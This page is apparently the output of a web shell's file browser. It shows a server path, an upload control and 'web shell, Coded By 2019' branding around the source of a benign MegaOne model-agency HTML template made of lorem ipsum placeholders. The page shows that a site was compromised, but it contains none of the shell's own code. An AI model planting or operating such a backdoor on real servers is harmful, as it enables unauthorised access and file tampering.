?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/events/crm/model-agency/
Upload File :
Current File : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/events/crm/model-agency/howItWork.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="author" content="Themes Industry">
    <!-- description -->
    <meta name="description" content="Megaone is a highly creative, modern, visually stunning and Bootstrap responsive multipurpose agency and HTML5 template with 14 ready home page demos.">
    <!-- keywords -->
    <meta name="keywords" content="creative, modern, clean, bootstrap responsive, html5, css3, portfolio, blog, agency, templates, multipurpose, one page, corporate, start-up, studio, branding, designer, freelancer, carousel, parallax, photography, personal, masonry, grid, faq">
    <!-- Page Title -->
    <title>Model agency | MegaOne | Creative HTML5 Template</title>
    <!--    <link rel="stylesheet" href="../vendor/css/jquery.fancybox.min.css">-->
    <!-- Favicon -->
    <link rel="icon" href="img/favicon.ico">
    <!-- Bundle -->
    <link rel="stylesheet" href="../vendor/css/bundle.min.css">
    <!-- Plugin Css -->
    <link rel="stylesheet" href="../vendor/css/cubeportfolio.min.css">
    <link rel="stylesheet" href="css/animate.min.css">
    <link rel="stylesheet" href="css/jquery.fancybox.css">
    <link rel="stylesheet" href="css/jquery.fancybox.min.css">
    <link rel="stylesheet" href="css/line-awesome.min.css">
    <!-- Style Sheet -->
    <link rel="stylesheet" href="../vendor/css/owl.carousel.min.css">
    <link rel="stylesheet" href="css/style.css">
</head>


<body data-spy="scroll" data-target=".navbar" data-offset="150" class="bg-dark">


<!--  PRELOADER  -->
<div class="loader-area">
<!--    <div id='spin-wrap'>-->
<!--        <div id='spin'></div>-->
<!--    </div>-->
    <div class="loader">
        <span></span>
        <span></span>
        <span></span>
    </div>
</div>

<header>

    <nav id="my-nav" class="navbar navbar-expand-lg navbar-light rounded-bar sidemenu-nav nav-full-width">

        <div class="menu-btn">
            <span></span>
            <span></span>
            <span></span>
        </div>

        <div class="logo">
            <a href="../index-model-agency.html"><img src="img/logo-img.png" alt="Logo Img"></a>
        </div>

    </nav>

    <div class="outer-wrapper">

        <div class="nav-img" style="background: url('img/navbar-img.jpg');">
<!--            <img src="img/navbar-img.jpg" alt="BACKGROUND IMAGE">-->
        </div>

        <div class="overlay">

            <a class="close-outerwindow"><i class="las la-times"></i></a>

            <nav class="navbar-1 w-100">

                <div class="row height small-nav">

                    <div class="col-12 col-md-5 d-flex justify-content-center align-items-center text-center text-md-left">
                        <ul id="primary" class="navbar-nav">
                            <li class="nav-item"><a class="nav-link" href="../index-model-agency.html">Home</a></li>
                            <li class="nav-item"><a class="nav-link" href="howItWork.html">How It Works</a></li>
                            <li class="nav-item"><a class="nav-link" href="models.html">Models</a></li>
                            <li class="nav-item"><a class="nav-link" href="about.html">About Agency</a></li>
                            <li class="nav-item"><a class="nav-link" href="contact.html">Apply Now</a></li>
                        </ul>
                    </div>

                    <div class="nav-icons">
                        <ul class="side-menu-icons">
                            <li><a href=" "><i class="lab la-facebook-f"></i></a></li>
                            <li><a href=" "><i class="lab la-twitter"></i></a></li>
                            <li><a href=" "><i class="lab la-google-plus"></i></a></li>
                            <li><a href=" "><i class="lab la-linkedin-in"></i></a></li>
                        </ul>
                    </div>

                </div>

            </nav>

        </div>

    </div>

</header>

<div class="main-content">

    <section id="bg-services-img" class="bg-services-img banner-sec text-center text-lg-left">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="banner-content">
                        <h4 class="banner-heading">How It Work</h4>
                        <div class="crumbs">
                            <nav aria-label="breadcrumb" class="breadcrumb-items">
                                <ol class="breadcrumb">
                                    <li class="breadcrumb-item"><a href="../index-model-agency.html"><i class="las la-home"></i> Home</a></li>
                                    <li class="breadcrumb-item"><a href="howItWork.html">How It Work</a></li>
                                </ol>
                            </nav>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <section id="about1" class="about">
        <div class="container">
            <div class="row">
                <div class="col-12 col-md-6">
                    <div class="about-text text-center text-md-left">
                        <h6 class="heading">Most flexible pricing</h6>
                        <h1 class="main-heading">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</h1>
                    </div>
                </div>
                <div class="col-12 col-md-6 text-center text-md-left">
                    <p class="sub-heading">Curabitur mollis bibendum luctus. Duis suscipit vitae dui sed suscipit. Vestibulum auctor nunc vitae diam eleifend, in maximus metus sollicitudin. Quisque vitae sodales lectus.
                        <br><br>
                        Curabitur mollis bibendum luctus. Duis suscipit vitae dui sed suscipit. Vestibulum auctor nunc vitae diam eleifend, in maximus metus sollicitudin.</p>
                </div>
            </div>
        </div>
    </section>

    <section id="detail_process" class="detail-process">
        <div class="row no-gutters">
            <div class="col-sm-12 col-lg-6 overflow-hidden">
                <div class="process_image figure">
                    <img src="img/service1.jpg" alt="process image">
                </div>
            </div>
            <div class="col-sm-12 col-lg-6 margin-col">
                <div class="process_text wow slideInRight" data-wow-delay="900ms" data-wow-duration="0.8s" style="visibility: visible; animation-delay: 700ms; animation-name: slideInRight;">
                    <p class="sub-heading text-brown">Our Services</p>
                    <h1 class="main_heading margin_heading heading_font_sm width text-brown">Lorem ipsum dol consectetur</h1>
                    <p class="info info_width">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
                        labore et dolore magna aliqua. Ut enim veniam, quis nostrud elit, sed do eiusmod tempor incididunt ut.</p>
                </div>
            </div>
        </div>
        <div class="row no-gutters">
            <div class="col-sm-12 col-lg-6 order-lg-2 overflow-hidden">
                <div class="process_image figure">
                    <img src="img/service2.jpg" alt="process image">
                </div>
            </div>
            <div class="col-sm-12 col-lg-6 order-lg-1 margin-col">
                <div class="process_text wow slideInLeft" data-wow-delay="900ms" data-wow-duration="0.8s" style="visibility: visible; animation-delay: 700ms; animation-name: slideInLeft;">
                    <p class="sub-heading text-brown">Our Services</p>
                    <h1 class="main_heading margin_heading heading_font_sm width text-brown">Lorem ipsum dol consectetur</h1>
                    <p class="info info_width">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
                        labore et dolore magna aliqua. Ut enim veniam, quis nostrud elit, sed do eiusmod tempor incididunt ut.</p>
                </div>
            </div>
        </div>
        <div class="row no-gutters">
            <div class="col-sm-12 col-lg-6 overflow-hidden">
                <div class="process_image figure">
                    <img src="img/service3.jpg" alt="process image">
                </div>
            </div>
            <div class="col-sm-12 col-lg-6 margin-col">
                <div class="process_text wow slideInRight" data-wow-delay="900ms" data-wow-duration="0.8s" style="visibility: visible; animation-delay: 700ms; animation-name: slideInRight;">
                    <p class="sub-heading text-brown">Our Services</p>
                    <h1 class="main_heading margin_heading heading_font_sm width text-brown">Lorem ipsum dol consectetur</h1>
                    <p class="info info_width">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
                        labore et dolore magna aliqua. Ut enim veniam, quis nostrud elit, sed do eiusmod tempor incididunt ut.</p>
                </div>
            </div>
        </div>
        <div class="row no-gutters">
            <div class="col-sm-12 col-lg-6 order-lg-2 overflow-hidden">
                <div class="process_image figure">
                    <img src="img/service4.jpg" alt="process image">
                </div>
            </div>
            <div class="col-sm-12 col-lg-6 order-lg-1 margin-col">
                <div class="process_text wow slideInLeft" data-wow-delay="900ms" data-wow-duration="0.8s" style="visibility: visible; animation-delay: 700ms; animation-name: slideInLeft;">
                    <p class="sub-heading text-brown">Our Services</p>
                    <h1 class="main_heading margin_heading heading_font_sm width text-brown">Lorem ipsum dol consectetur</h1>
                    <p class="info info_width">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
                        labore et dolore magna aliqua. Ut enim veniam, quis nostrud elit, sed do eiusmod tempor incididunt ut.</p>
                </div>
            </div>
        </div>
    </section>

    <section id="booking" class="booking">
        <div class="container">
            <div class="row">
                <div class="col-12 col-lg-10 offset-lg-1 wow fadeInUp" data-wow-delay="600ms" data-wow-duration="1.3s" style="visibility: visible; animation-delay: 700ms; animation-name: fadeInUp;">
                    <div class="booking_text text-center">
                        <h6 class="heading text-brown">Apply Now</h6>
                        <h1 class="main-heading text-brown mb-3">Become a Model</h1>
                        <p class="sub-heading">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
                            labore et dolore magna aliqua. Ut enim veniam, quis nostrud exercitation consectetur adipiscing elit, sed do eiusmod tempor incididunt ut.</p>
                        <a href="contact.html" class="btn btn-large trans-btn white-btn">Apply Now</a>
                    </div>
                </div>
            </div>
        </div>

    </section>

    <section id="footer" class="footer light-dark-bg">
        <div class="container">
            <div class="row">
                <div class="col-12 text-center">
                    <ul class="footer_ul">
                        <li class="footer_list"><i class="lab la-facebook-f"></i></li>
                        <li class="footer_list"><i class="lab la-twitter"></i></li>
                        <li class="footer_list"><i class="lab la-google-plus"></i></li>
                        <li class="footer_list"><i class="lab la-linkedin-in"></i></li>
                        <li class="footer_list"><i class="lab la-instagram"></i></li>
                        <li class="footer_list"><i class="las la-envelope"></i></li>
                    </ul>
                    <p class="info footer_text text-brown"><i class="far fa-copyright"></i>2020 MegaOne. Made with love by themesindustry</p>
                </div>
            </div>
        </div>
    </section>

</div>


<!-- JavaScript -->
<script src="../vendor/js/bundle.min.js"></script>

<!-- Plugin Js -->
<script src="../vendor/js/owl.carousel.min.js"></script>
<script src="../vendor/js/jquery.cubeportfolio.min.js"></script>
<script src="../vendor/js/jquery.appear.js"></script>
<script src="js/circle-progress.min.js"></script>

<!-- custom script -->
<script src="js/jquery.fancybox.js"></script>
<script src="js/jquery.fancybox.min.js"></script>
<script src="js/mediaelement-and-player.min.js"></script>
<script src="js/wow.min.js"></script>
<script src="../vendor/js/parallaxie.min.js"></script>
<script src="js/script.js"></script>
</body>
</html>



web shell, Coded By 2019